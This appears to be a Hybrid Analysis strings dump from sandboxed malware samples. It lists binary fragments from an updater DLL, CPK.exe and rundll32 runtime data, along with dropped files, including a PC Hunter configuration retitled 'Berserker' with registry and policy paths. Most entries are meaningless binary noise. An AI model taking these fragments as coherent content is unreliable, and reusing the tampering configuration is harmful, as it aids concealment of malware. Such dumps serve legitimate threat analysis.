Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
760374_64579867309854790384576908437598_347596873_4085760394875609874350867439085_769043576_0938459
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
76037_4645798673098547903845769084375983_4759687_340857603948756098743508674390857_6904357_60938459
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
7603_746457986730985479038457690843759834_75968_73408576039487560987435086743908576_90435_760938459
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
760_37464579867309854790384576908437598347_596_8734085760394875609874350867439085769_043_5760938459
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
76908347586346390487569038_7_450986734865730498576093847_5_098678479843754359867345
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
7698547698037_450_968730498576390845603984576_908_347569834759608374509867390_458_76039487569034875
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
76985476980_3745096_87304985763908456039845_7690834_75698347596083745098673_9045876_039487569034875
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
76_0374645798673098547903845769084375983475_9_687340857603948756098743508674390857690_4_35760938459
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
78I8l8y8
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
79ULzDu&u
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
7<7V7^7i7
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
7??9?W?9W
Ansi based on Runtime Data (rundll32.exe )
7??????S%b?$
Ansi based on Runtime Data (rundll32.exe )
7????_?Y
Ansi based on Runtime Data (rundll32.exe )
7????l?7
Ansi based on Runtime Data (rundll32.exe )
7???Ya:F?I?E??{
Ansi based on Runtime Data (rundll32.exe )
7?D0?U?E?;?
Ansi based on Runtime Data (rundll32.exe )
7_603746457986730985479038457690843759834759_68734085760394875609874350867439085769043_5760938459
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
7ayaH
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
7bx75&341:3\|
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
7ey>?
Ansi based on Runtime Data (rundll32.exe )
7IJIN:gZ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
7ktBm%QvSY
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
7mC<4a-R"L
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
7P?v^\:t
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
7TDie
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
7z??'
Ansi based on Runtime Data (rundll32.exe )
7Z_MAA=c&
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
8 8$8<8@8\8`8p8
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
8 8(80888@8H8P8X8`8h8p8x8
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
8 aSvI%/q~,
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
8 x_#s\J"@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
8$8,848<8D8L8T8\8d8l8t8|8
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
8(80888D8h8
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
8,IY4j
Ansi based on Runtime Data (rundll32.exe )
8- unexpected heap error
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
8.|a>
Ansi based on Runtime Data (rundll32.exe )
8346234ABC
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
8457690834758634_63904875690387450986734865730_49857609384750986784798437543_59867345
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
845769083475863_4_639048756903874509867348657_3_049857609384750986784798437_5_4359867345
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
84576908347586_346_3904875690387450986734865_730_4985760938475098678479843_754_359867345
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
8457690834758_63463_90487569038745098673486_57304_98576093847509867847984_37543v59867345
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
845769083475_8634639_048756903874509867348_6573049_857609384750986784798_4375435_9867345
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
84576908347_586346390_4875690387450986734_865730498_5760938475098678479_843754359_867345
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
8457690834_75863463904_87569038745098673_48657304985_76093847509867847_98437543598_67345
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
845769083_4758634639048_756903874509867_3486573049857_609384750986784_7984375435986_7345
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
84576908_347586346390487_5690387450986_734865730498576_0938475098678_479843754359867_345
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
8457690_83475863463904875_69038745098_67348657304985760_93847509867_84798437543598673_45
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
845769_0834758634639048756_903874509_8673486573049857609_384750986_7847984375435986734_5
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
84576_908347586346390487569_0387450_986734865730498576093_8475098_678479843754359867345
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
8457_69083475863463904875690_38745_09867348657304985760938_47509_8678479843754359867345
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
845_7690834758634639048756903_874_5098673486573049857609384_750_98678479843754359867345
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
84798437543598673_45
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
84_576908347586346390487569038_7_450986734865730498576093847_5_098678479843754359867345
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
85m?p
Ansi based on Runtime Data (rundll32.exe )
86784798437_5_4359867345
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
86784_7984375435986_7345
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
87569034875
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
87>cA`2PzVP
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
8;8E8n8v8
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
8??x$;??
Ansi based on Runtime Data (rundll32.exe )
8\8e8n8w8
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
8_45769083475863463904875690387_45098673486573049857609384750_98678479843754359867345
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
8A8U8`8p8u8
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
8BP47znDsMIN
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
8C9k9y9%;C;\;c;k;p;t;x;
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
8core
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
8e@ ~gc{qH,
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
8jFJnN%$:
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
8M}2!
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
8OXT0bvBL
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
8QnBGFe*Z
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
8qNxcgUW(
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
8v985v6H?(
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
8w<9=T=o=
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
8| Dia^D:
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
8~@8J5ro
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
9 9(90989@9H9P9X9`9h9p9x9
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
9 9(9@9P9T9d9h9l9p9x9
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
9 9+999B9L9\9a9f9w9|9
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
9$9,949<9D9L9T9\9d9l9t9|9
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
9$9D9L9X9x9
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
9%<iF>%*-
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
9*9D9\9g9y9
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
9,:\:e:n:
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
9- unable to open console device
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
9-^U !)d~u
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
9-SG_
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
9034875
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
91((,zmF*
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
92:=:C:J;
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
977h#~Pz
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
9854769_80374509687_3049857639084560398_45769083475_6983475960837450986_73904587603_9487569034875
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
98547_698037450968730_498576390845603_984576908347569_834759608374509_867390458760394_87569034875
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
98769854769803745_0968730498576390845603984576908_3475698347596083745098673904587_6039487569034875
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
9876985476980374_5_09687304985763908456039845769_0_83475698347596083745098673904_5_876039487569034875
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
987698547698037_450_968730498576390845603984576_908_347569834759608374509867390_458_76039487569034875
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
98769854769803_74509_6873049857639084560398457_69083v4756983475960837450986739_04587_6039487569034875
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
9876985476980_3745096_87304985763908456039845_7690834_75698347596083745098673_9045876_039487569034875
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
987698547698_037450968_730498576390845603984_576908347_569834759608374509867_390458760_39487569034875
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
98769854769_80374509687_3049857639084560398_45769083475_6983475960837450986_73904587603_9487569034875
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
9876985476_9803745096873_04985763908456039_8457690834756_98347596083745098_6739045876039_487569034875
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
987698547_698037450968730_498576390845603_984576908347569_834759608374509_867390458760394_87569034875
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
98769854_76980374509687304_9857639084560_39845769083475698_3475960837450_98673904587603948_7569034875
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
9876985_4769803745096873049_85763908456_0398457690834756983_47596083745_0986739045876039487_569034875
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
987698_547698037450968730498_576390845_603984576908347569834_759608374_509867390458760394875_69034875
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
98769_85476980374509687304985_7639084_56039845769083475698347_5960837_45098673904587603948756_9034875
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
9876_9854769803745096873049857_63908_4560398457690834756983475_96083_7450986739045876039487569_034875
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
987_698547698037450968730498576_390_845603984576908347569834759_608_374509867390458760394875690_34875
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
98_76985476980374509687304985763_9_08456039845769083475698347596_0_83745098673904587603948756903_4875
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
98xP"Ew?Bd
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
997-2013 Mark Russinovich
Unicode based on Dropped File (hhhhh.exe.655875088)
9>:I:4;h;
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
9??5^9????
Ansi based on Runtime Data (rundll32.exe )
9????:
Ansi based on Runtime Data (rundll32.exe )
9_8769854769803745096873049857639_0845603984576908347569834759608_3745098673904587603948756903487_5
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
9akrbe`Dwa
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
9C{OM!(HZ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
9fmF9Y
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
9FWQm\i*w
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
9r*A16@?4
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
9u<1DN2z
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
9zr?AX
Ansi based on Runtime Data (rundll32.exe )
: %d
Unicode based on Dropped File (ttttt.exe.179545488)
: :(:0:8:@:H:P:X:`:h:p:x:
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
: :<:@:`:
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:":':3:@:0;<;
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:$:(:8:<:@:H:`:p:t:
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:$:,:4:<:D:L:T:\:d:l:t:|:
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:$;;;H;T;d;j;{;
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:$;?;W;c;r;
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:%wSn
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:&6w4|%PO
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:&Tnx,O^
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:':3:8:C:M:c:
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:';?;P<^<
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:-;3;9;?;E;K;R;Y;`;g;n;u;|;
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:0:<:d:x:
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:2;f<y<Y=
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:3=123\YZ[\
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:3cPoeI!R
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:=/#ip*O5
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:>VfUWhY1
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:?4v1??
Ansi based on Runtime Data (rundll32.exe )
:???"Y??t?
Ansi based on Runtime Data (rundll32.exe )
:?B|??b2??p???
Ansi based on Runtime Data (rundll32.exe )
:]'8e?;?e?;
Ansi based on Runtime Data (rundll32.exe )
:]5/<]=/:
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:^~ht;cI*
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:`Y~4TV5(
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:a&b|O&JL
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:a<Js-'A
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:AM:am:PM:pm
Ansi based on Dropped File (kokoko.dll.2691425955)
:B0=27XnP O
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:December
Ansi based on Dropped File (kokoko.dll.2691425955)
:N%?_?b??
Ansi based on Runtime Data (rundll32.exe )
:Nca@-edLc}_
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:Sep:September:Oct:October:Nov:November:Dec:December
Unicode based on Dropped File (kokoko.dll.2691425955)
:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday
Unicode based on Dropped File (kokoko.dll.2691425955)
:VJRiO
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:VV2^J_nim
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:}FW.-WTF
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
; var wrappedErrorCb = watchdog.wrapCallback(errorCb); var wrappedSuccessCb = watchdog.wrapCallback(successCb); var timer = createAttenuatedTimer( FACTORY_REGISTRY.getCountdownFactory(), timeoutValueSeconds); var logMsgUrl = request['logMsgUrl']
Ansi based on Runtime Data (CPK.exe )
; ;$;,;D;T;X;h;l;p;t;x;
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
; ;(;0;8;@;H;P;X;`;h;p;x;
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
; ;,;8;D;P;\;h;t;
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
;$;,;0;8;L;T;h;p;x;
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
;$;,;4;<;D;L;T;\;d;l;t;|;
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
;'NjQd+L
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
;*<4<V<q<
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
;+<0<9<><G<L<Y<
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
;5fvK{8I
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
;9|pJbM*6H
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
;????????y??
Ansi based on Runtime Data (rundll32.exe )
;???I?
Ansi based on Runtime Data (rundll32.exe )
;??W?M??C?
Ansi based on Runtime Data (rundll32.exe )
;]n7=e$jZ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
;A if you set, means the hot key is Ctrl + Alt + A.
Ansi based on Dropped File (pc64.cfg)
;By default,it is enabled.In other cases,it will be disabled to reduce the rate of false positives.
Ansi based on Dropped File (pc64.cfg)
;By Default,it is enabled.You can turn it off by setting the value to zero.
Ansi based on Dropped File (pc64.cfg)
;By default,the value is 3(0x01 | 0x02 ---> ssdt | shadow ssdt).If it is set to 0,self-protection is disabled.
Ansi based on Dropped File (pc64.cfg)
;For example, if PC Hunter Standard is named KillVirusTool.exe, you must rename the config file as KillVirusTool.cfg.
Ansi based on Dropped File (pc64.cfg)
;FY!O
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
;J^HEu#4K
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
;m K?
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
;qjk4y
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
;QXAT$OALF
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
;T^h<U_i=V`j>Wak?Xbl@YcmAZdnB[eoC\fpD]gq
Unicode based on Dropped File (hhhhh.exe.655875088)
;tG.XksJ5
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
;The name of this file should be in accordance with that of PC Hunter Standard which you may have renamed otherwise.
Ansi based on Dropped File (pc64.cfg)
;This field allows you to determine whether PC Hunter Standard will scan suspicious object(e.g. pe image and driver object) or not when it enums kernel modules.
Ansi based on Dropped File (pc64.cfg)
;This field allows you to disable PC Hunter Standard's self-protection.
Ansi based on Dropped File (pc64.cfg)
;This field determines if PC Hunter Standard will check injected thread on startup.
Ansi based on Dropped File (pc64.cfg)
;This field determines the title name of the mainly window.
Ansi based on Dropped File (pc64.cfg)
;This field determines whether checking updates when starting the PC Hunter Standard.
Ansi based on Dropped File (pc64.cfg)
;This field determines whether minimized to tray when clicking close button of PC Hunter Standard.
Ansi based on Dropped File (pc64.cfg)
;This field determines whether the hot key of showing PC Hunter Standard main window.
Ansi based on Dropped File (pc64.cfg)
;This field determines whether the window of PC Hunter Standard is topmost or not.
Ansi based on Dropped File (pc64.cfg)
;This field is used to determine the method for enumerating files.
Ansi based on Dropped File (pc64.cfg)
;This is configuration file for PC Hunter Standard.
Ansi based on Dropped File (pc64.cfg)
;This is configuration file for PC Hunter Standard.;The name of this file should be in accordance with that of PC Hunter Standard which you may have renamed otherwise.;For example, if PC Hunter Standard is named KillVirusTool.exe, you must rename the confi
Ansi based on Runtime Data (rundll32.exe )
;This is configuration file for PC Hunter Standard.;The name of this file should be in accordance with that of PC Hunter Standard which you may have renamed otherwise.;For example, if PC Hunter Standard is named KillVirusTool.exe, you must rename the config file as KillVirusTool.cfg.;Written by Epoolsoft Corporation, Jan 18,2013.;This field allows you to disable PC Hunter Standard's self-protection.;By default,the value is 3(0x01 | 0x02 ---> ssdt | shadow ssdt).If it is set to 0,self-protection is disabled.SelfProtection = 3;This field determines whether the window of PC Hunter Standard is topmost or not.;Zero means the window is non-topmost, elsewise it is set to be topmost.StayOnTop = 0;This field determines whether minimized to tray when clicking close button of PC Hunter Standard.;Zero means non-minimized to tray, elsewise it will minimize to tray.MinimizeToTray = 0;This field determines whether the hot key of showing PC Hunter Standard main window.;A if you set, means the hot key is Ctrl + Alt + A.ShowMainWindowHotKey = P;This field determines whether checking updates when starting the PC Hunter Standard.;Zero means don't check updates, elsewise it will check updates.AutoCheckNewVersion = 0;This field is used to determine the method for enumerating files.;Zero means PC Hunter Standard enumerates files by kernel driver only.In other cases, PC Hunter Standard will use strengthened "disk analysis" method.OpenPhysicalDiskAnalysis = 0;This field determines if PC Hunter Standard will check injected thread on startup.;By Default,it is enabled.You can turn it off by setting the value to zero. CheckInjectThread = 0;This field allows you to determine whether PC Hunter Standard will scan suspicious object(e.g. pe image and driver object) or not when it enums kernel modules.;By default,it is enabled.In other cases,it will be disabled to reduce the rate of false positives.ScanSuspiciousObject = 0;This field determines the title name of the mainly window.TitleName = Berserker;AddRegPath = HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command;AddRegPath = HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\OpenHomePage\Command;AddRegPath = HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\OpenHomePage\Command;AddRegPath = HKEY_CLASSES_ROOT\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\shell\OpenHomePage\Command;AddRegPath = HKEY_CLASSES_ROOT\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\shell\OpenHomePage\Command;AddRegPath = HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft;AddRegPath = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\Scripts;AddRegPath = HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System\Scripts
Ansi based on Dropped File (pc64.cfg)
;U;j;p;|;
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
;var propertyToken=this._backtrackPropertyToken(prefixRange.startLine,prefixRange.startColumn-1);if(!propertyToken)return null;var line=this._textEditor.line(prefixRange.startLine);var tokenContent=line.substring(propertyToken.startColumn,propertyToken.endCo
Ansi based on Runtime Data (CPK.exe )
;var ry2=(rect.y+rect.height)/layer.height();var rectQuad=this._calculatePointOnQuad(quad,rx1,ry1).concat(this._calculatePointOnQuad(quad,rx2,ry1)).concat(this._calculatePointOnQuad(quad,rx2,ry2)).concat(this._calculatePointOnQuad(quad,rx1,ry2));this.setVertic
Ansi based on Runtime Data (CPK.exe )
;WEG?WC?u??P???i???[%?????????
Ansi based on Runtime Data (rundll32.exe )
;Written by Epoolsoft Corporation, Jan 18,2013.
Ansi based on Dropped File (pc64.cfg)
;wXDr[Et^
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
;y& S
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
;Zero means don't check updates, elsewise it will check updates.
Ansi based on Dropped File (pc64.cfg)
;Zero means non-minimized to tray, elsewise it will minimize to tray.
Ansi based on Dropped File (pc64.cfg)
;Zero means PC Hunter Standard enumerates files by kernel driver only.In other cases, PC Hunter Standard will use strengthened "disk analysis" method.
Ansi based on Dropped File (pc64.cfg)
;Zero means the window is non-topmost, elsewise it is set to be topmost.
Ansi based on Dropped File (pc64.cfg)
;{1}2IR{6
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
;}z&a~L+~
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
< <(<0<8<@<H<P<X<`<h<p<x<
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
<#<-<3<E<O<U<p<
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
<$<,<4<<<D<L<T<\<d<l<
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
<$<0<P<X<d<
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
<$<<<L<P<`<d<h<l<p<t<|<
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
<&<-<=<C<I<Q<W<]<e<k<q<y<
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
<(<4<@<L<X<d<p<|<
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
<+s(Iq*-$5
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
<.crx
Unicode based on Runtime Data (QQBrowser.exe )
<.json
Unicode based on Runtime Data (QQBrowser.exe )
<.pbk
Unicode based on Runtime Data (QQBrowser.exe )
</select> </div> </div> <div id="serif-font-sample" class="font-sample-div"></div> </div> </section> <section> <h3 i18n-content="fontSettingsSansSerif"></h3> <div class="font-setting-container">
Ansi based on Runtime Data (CPK.exe )
<3@3D3H3L3P3T3X3\3`3d3h3l3p3Q698
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
<4<:<@<F<L<R<Y<`<g<n<u<|<
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
<8<X<t<x<
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
<:JNMZfnw
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
<=Yg@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
<?L?S?*????
Ansi based on Runtime Data (rundll32.exe )
<?QOq(
Ansi based on Runtime Data (rundll32.exe )
